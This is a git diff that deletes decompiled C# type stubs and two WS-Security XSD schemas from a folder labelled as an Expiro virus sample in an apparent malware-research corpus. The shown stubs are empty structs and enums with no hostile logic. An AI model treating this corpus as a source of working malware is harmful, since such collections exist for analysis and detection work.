a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/localeinfo_struct.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/localeinfo_struct.cs deleted file mode 100644 index b8c06086..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/localeinfo_struct.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: localeinfo_struct -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct localeinfo_struct -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-secext-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-secext-1/0.xsd deleted file mode 100644 index 641798b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-secext-1/0.xsd +++ /dev/null @@ -1,195 +0,0 @@ - - - - - - - - - This type represents an element with arbitrary attributes. - - - - - - - - - - - This type is used for password elements per Section 4.1. - - - - - - - - - - This type is used for elements containing stringified binary data. - - - - - - - - - - This type represents a username token per Section 4.1 - - - - - - - - - - - A security token that is encoded in binary - - - - - - - - - - A security token key identifier - - - - - - - - - - Typedef to allow a list of usages (as URIs). - - - - - - This global attribute is used to indicate the usage of a referenced or indicated token within the containing context - - - - - This type represents a reference to an external security token. - - - - - - - - This type represents a reference to an embedded security token. - - - - - - - - - - This type is used reference a security token. - - - - - - - - - - - This complexType defines header block to use for security-relevant data directed at a specific SOAP actor. - - - - - The use of "any" is to allow extensibility and different forms of security data. - - - - - - - - This complexType defines a container for elements to be specified from any namespace as properties/parameters of a DSIG transformation. - - - - - The use of "any" is to allow extensibility from any namespace. - - - - - - - - This element defines the wsse:UsernameToken element per Section 4.1. - - - - - This element defines the wsse:BinarySecurityToken element per Section 4.2. - - - - - This element defines a security token reference - - - - - This element defines a security token embedded reference - - - - - This element defines a key identifier reference - - - - - This element defines the wsse:SecurityTokenReference per Section 4.3. - - - - - This element defines the wsse:Security SOAP header element per Section 4. - - - - - This element contains properties for transformations from any namespace, including DSIG. - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-utility-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-utility-1/0.xsd deleted file mode 100644 index f8d74e9c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-utility-1/0.xsd +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - -This type defines the fault code value for Timestamp message expiration. - - - - - - - - - - -This global attribute supports annotating arbitrary elements with an ID. - - - - - - -Convenience attribute group used to simplify this schema. - - - - - - - - - -This type is for elements whose [children] is a psuedo-dateTime and can have arbitrary attributes. - - - - - - - - - - - -This type is for elements whose [children] is an anyURI and can have arbitrary attributes. - - - - - - - - - - - - -This complex type ties together the timestamp related elements into a composite type. - - - - - - - - - - - - - - -This element allows Timestamps to be applied anywhere element wildcards are present, -including as a SOAP header. - - - - - - - -This element allows an expiration time to be applied anywhere element wildcards are present. - - - - - - -This element allows a creation time to be applied anywhere element wildcards are present. - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTCTXW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTCTXW.cs deleted file mode 100644 index ebce6ab2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTCTXW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTCTXW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct tagACTCTXW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTIVATEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTIVATEFLAGS.cs deleted file mode 100644 index f4287327..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTIVATEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTIVATEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagACTIVATEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagADVF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagADVF.cs deleted file mode 100644 index 434df616..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagADVF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagADVF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagADVF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagApplicationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagApplicationType.cs deleted file mode 100644 index d315323d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagApplicationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagApplicationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagApplicationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagAspectInfoFlag.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagAspectInfoFlag.cs deleted file mode 100644 index 7d3433cb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagAspectInfoFlag.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagAspectInfoFlag -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagAspectInfoFlag -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBANDSITECID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBANDSITECID.cs deleted file mode 100644 index 091b993a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBANDSITECID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBANDSITECID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBANDSITECID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSPEED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSPEED.cs deleted file mode 100644 index 54652a21..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSPEED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSPEED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBINDSPEED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTATUS.cs deleted file mode 100644 index 49d6e370..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagBINDSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTRING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTRING.cs deleted file mode 100644 index 7337880c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTRING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSTRING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBINDSTRING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBIND_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBIND_FLAGS.cs deleted file mode 100644 index 8a5483b9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBIND_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBIND_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagBIND_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBROWSERFRAMEOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBROWSERFRAMEOPTIONS.cs deleted file mode 100644 index a5e76de2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBROWSERFRAMEOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBROWSERFRAMEOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagBROWSERFRAMEOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLCONV.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLCONV.cs deleted file mode 100644 index 57fa5785..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLCONV.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLCONV -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCALLCONV -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLTYPE.cs deleted file mode 100644 index c6b7e782..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCALLTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATEGORYINFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATEGORYINFO_FLAGS.cs deleted file mode 100644 index e76e0d4c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATEGORYINFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCATEGORYINFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCATEGORYINFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATSORT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATSORT_FLAGS.cs deleted file mode 100644 index e13cf3c4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATSORT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCATSORT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagCATSORT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONACTION.cs deleted file mode 100644 index 197ced0f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCDBURNINGEXTENSIONACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagCDBURNINGEXTENSIONACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONRET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONRET.cs deleted file mode 100644 index 6aa676d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONRET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCDBURNINGEXTENSIONRET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCDBURNINGEXTENSIONRET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCHANGEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCHANGEKIND.cs deleted file mode 100644 index dee78f81..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCHANGEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCHANGEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCHANGEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCLSCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCLSCTX.cs deleted file mode 100644 index ffdcf865..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCLSCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCLSCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCLSCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOINIT.cs 